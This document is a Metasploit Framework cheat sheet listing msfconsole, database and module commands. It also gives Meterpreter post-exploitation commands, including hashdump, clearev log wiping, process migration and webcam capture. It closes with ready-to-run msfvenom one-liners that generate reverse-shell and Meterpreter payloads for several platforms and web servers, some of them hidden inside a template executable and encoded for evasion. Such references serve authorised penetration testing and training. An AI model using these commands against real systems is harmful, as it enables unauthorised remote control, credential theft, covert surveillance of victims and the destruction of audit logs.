Metasploit Framework

MSFconsole

It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the MSF.

Core Commands

- **?** Help menu
- **banner** Display an awesome metasploit banner
- **cd** Change the current working directory
- **color** Toggle color
- **connect** Communicate with a host
- **debug** Display information useful for debugging
- **exit** Exit the console
- **features** Display the list of not yet released features that can be opted in to
- **get** Gets the value of a context-specific variable
- **getg** Gets the value of a global variable
- **grep** Grep the output of another command
- **help** Help menu
- **history** Show command history
- **load** Load a framework plugin
- **quit** Exit the console
- **repeat** Repeat a list of commands
- **route** Route traffic through a session
- **save** Saves the active datastores
- **sessions** Dump session listings and display information about sessions
- **set** Sets a context-specific variable to a value
- **setg** Sets a global variable to a value
- **sleep** Do nothing for the specified number of seconds
- **spool** Write console output into a file as well the screen
- **threads** View and manipulate background threads
- **tips** Show a list of useful productivity tips
- **unload** Unload a framework plugin
- **unset** Unsets one or more context-specific variables
- **unsetg** Unsets one or more global variables
- **version** Show the framework and console library version numbers

Module

Basic Commands

- **advanced** Displays advanced options for one or more modules
- **back** Move back from the current context
- **clearm** Clear the module stack
- **favorite** Add module(s) to the list of favorite modules
- **info** Displays information about one or more modules
- **listm** List the module stack
- **loadpath** Searches for and loads modules from a path
- **options** Displays global options or for one or more modules
- **popm** Pops the latest module off the stack and makes it active
- **previous** Sets the previously loaded module as the current module
- **pushm** Pushes the active or list of modules onto the module stack
- **reload_all** Reloads all modules from all defined module paths
- **search** Searches module names and descriptions
- **show** Displays modules of a given type, or all modules
- **use** Interact with a module by name or search term/index

Auxiliary

The Metasploit Framework includes hundreds of auxiliary modules that perform scanning, fuzzing, sniffing, and much more.

- admin
- client
- dos
- gather
- scanner
- spoof
- vsploit
- analyze
- crawler
- example.rb
- parser
- server
- sqli
- bnat
- docx
- fuzzers
- pdf
- sniffer
- voip

Modules

Encoders

- cmd
- generic
- mipsbe
- mipsle
- php
- ppc
- ruby
- sparc
- x64
- x86

Exploits

- Active Exploits — Active exploits will exploit a specific host, run until completion, and then exit.
- Passive Exploits — Passive exploits wait for incoming hosts and exploit them as they connect.
- aix
- bsdi
- firefox
- irix
- multi
- solaris
- android
- dialup
- freebsd
- linux
- netware
- unix
- apple_ios
- example.rb
- hpux
- mainframe
- osx
- windows

Nops

- aarch64
- armle
- mipsbe
- php
- ppc_s
- parc
- tty
- x64
- x86

Payloads

- Inline (Non Staged) — Inline payloads are by design more stable than their counterparts because they contain everything all in one.
- Stager — Stager payloads work in conjunction with stage payloads in order to perform a specific task.
- Meterpreter — Meterpreter, the short form of Meta-Interpreter is an advanced, multi-faceted payload that operates via dll injection.
- PassiveX — PassiveX is a payload that can help in circumventing restrictive outbound firewalls. It does this by using an ActiveX control to create a hidden instance of Internet Explorer.
- NoNX — The NX (No eXecute) bit is a feature built into some CPUs to prevent code from executing in certain areas of memory.
- Ord — Ordinal payloads are Windows stager based payloads that have distinct advantages and disadvantages.
- IPv6 — The Metasploit IPv6 payloads, as the name indicates, are built to function over IPv6 networks.
- Reflective DLL injection — Reflective DLL Injection is a technique whereby a stage payload is injected into a compromised host process running in memory, never touching the host hard drive.

Job Commands

- **handler** Start a payload handler as job
- **jobs** Displays and manages jobs
- **kill** Kill a job
- **rename_job** Rename a job

Resource Script Commands

- **makerc** Save commands entered since start to a file
- **resource** Run the commands stored in a file

Database Backend Commands

- **analyze** Analyze database information about a specific address or address range
- **db_connect** Connect to an existing data service
- **db_disconnect** Disconnect from the current data service
- **db_export** Export a file containing the contents of the database
- **db_import** Import a scan result file (filetype will be auto-detected)
- **db_nmap** Executes nmap and records the output automatically
- **db_rebuild_cach** Rebuilds the database-stored module cache (deprecated)
- **db_remove** Remove the saved data service entry
- **db_save** Save the current data service connection as the default to reconnect on startup
- **db_status** Show the current data service status
- **hosts** List all hosts in the database
- **loot** List all loot in the database
- **notes** List all notes in the database
- **services** List all services in the database
- **vulns** List all vulnerabilities in the database
- **workspace** Switch between database workspaces

Credentials Backend Commands

- **creds** List all credentials in the database

Building ranges and lists

- **Ranges of IDs** Commands that take a list of IDs can use ranges to help.
  - jobs -k 2-6,7,8,11..15
- **Ranges of IPs**
  - The first way is a list of IPs separated by just a `` ` `` (ASCII space), with an optional `,`: check 127.168.0.16,15
  - The next way is two complete IP addresses in the form of `BEGINNING_ADDRESS-END_ADDRESS`: check 127.0.0-2.1-4

Load

- load aggregator
- load besecure
- load event_tester
- load libnotify
- load nexpose
- load rssfeed
- load socket_logger
- load token_adduser
- load alias
- load capture
- load ffautoregen
- load msfd
- load openvas
- load sample
- load sounds
- load token_hunter
- load auto_add_route
- load db_credcollect
- load ips_filter
- load msgrpc
- load pcap_log
- load session_notifier
- load sqlmap
- load wiki
- load beholder
- load db_tracker
- load lab
- load nessus
- load request
- load session_tagger
- load thread
- load wmap

Database

Metasploit has built-in support for the PostgreSQL database system.

- **db_connect** Connect to an existing database
- **db_disconnect** Disconnect from the current database instance
- **db_export** Export a file containing the contents of the database
- **db_import** Import a scan result file (filetype will be auto-detected)
- **db_nmap** Executes nmap and records the output automatically
- **db_rebuild_cache** Rebuilds the database-stored module cache
- **db_status** Show the current database status
- **hosts** List all hosts in the database
- **loot** List all loot in the database
- **notes** List all notes in the database
- **services** List all services in the database
- **vulns** List all vulnerabilities in the database
- **workspace** Switch between database workspaces

Meterpreter

- **help** The help command, as may be expected, displays the Meterpreter help menu.
- **background** The background command will send the current Meterpreter session to the background and return you to the 'msf' prompt.
- **cat** It displays the content of a file when it' s given as an argument.
- **cd and pwd** The cd and pwd commands are used to change and display current working directly on the target host.
- **clearev** The clearev command will clear the Application, System, and Security logs on a Windows system. There are no options or arguments.
- **download** The download command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.
- **edit** The edit command opens a file located on the target host. It uses the 'vim' so all the editor' s commands are available.
- **execute** The execute command runs a command on the target.
- **getuid** Running getuid will display the user that the Meterpreter server is running as on the host.
- **hashdump** The hashdump post module will dump the contents of the SAM database.
- **idletime** Running idletime will display the number of seconds that the user at the remote machine has been idle.
- **ipconfig** The ipconfig command displays the network interfaces and addresses on the remote machine.
- **lpwd and lcd** The lpwd and lcd commands are used to display and change the local working directory respectively.
- **ls** As in Linux, the ls command will list the files in the current remote directory.
- **migrate** Using the migrate post module, you can migrate to another process on the victim.
- **ps** The ps command displays a list of running processes on the target.
- **resource** The resource command will execute Meterpreter instructions located inside a text file.
- **search** The search commands provides a way of locating specific files on the target host. The command is capable of searching through the whole system or specific folders.
- **shell** The shell command will present you with a standard shell on the target system.
- **upload** As with the download command, you need to use double-slashes with the upload command.
- **webcam_list** The webcam_list command when run from the Meterpreter shell, will display currently available web cams on the target host.
- **webcam_snap** The webcam_snap' command grabs a picture from a connected web cam on the target system, and saves it to disc as a JPEG image.

MSFvenom

MsfVenom is a Metasploit standalone payload generator as a replacement for msfpayload and msfencode.

All available options for creating a payload

- **-p, --payload** Payload to use. Specify a '-' or stdin to use custom payloads
- **--payload-options** List the payload's standard options
- **-l, --list [type]** List a module type. Options are: payloads, encoders, nops, all
- **-n, --nopsled** Prepend a nopsled of [length] size on to the payload
- **-f, --format** Output format (use --help-formats for a list)
- **--help-formats** List available formats
- **-e, --encoder** The encoder to use
- **-a, --arch** The architecture to use
- **--platform** The platform of the payload
- **--help-platforms** List available platforms
- **-s, --space** The maximum size of the resulting payload
- **--encoder-space** The maximum size of the encoded payload (defaults to the -s value)
- **-b, --bad-chars** The list of characters to avoid example: '\x00\xff'
- **-i, --iterations** The number of times to encode the payload
- **-c, --add-code** Specify an additional win32 shellcode file to include
- **-x, --template** Specify a custom executable file to use as a template
- **-k, --keep** Preserve the template behavior and inject the payload as a new thread
- **-o, --out** Save the payload
- **-v, --var-name** Specify a custom variable name to use for certain output formats
- **--smallest** Generate the smallest possible payload
- **-h, --help** Show this message

Binaries

- msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
- msfvenom -p windows/meterpreter/reverse_http LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f elf > example.elf
- msfvenom -p osx/x86/shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f macho > example.macho
- msfvenom -p android/meterpreter/reverse/tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} R > example.apk

Web Payloads

- msfvenom -p php/meterpreter_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f raw > example.php
- msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f asp > example.asp
- msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f raw > example.jsp
- msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f war > example.war

Windows Payloads

- msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
- msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe > example.exe
- msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe > example.exe

Developer Commands

- **edit** Edit the current module or a file with the preferred editor
- **irb** Open an interactive Ruby shell in the current context
- **log** Display framework.log paged to the end if possible
- **pry** Open the Pry debugger on the current module or Framework
- **reload_lib** Reload Ruby library files from specified paths
- **time** Time how long it takes to run a particular command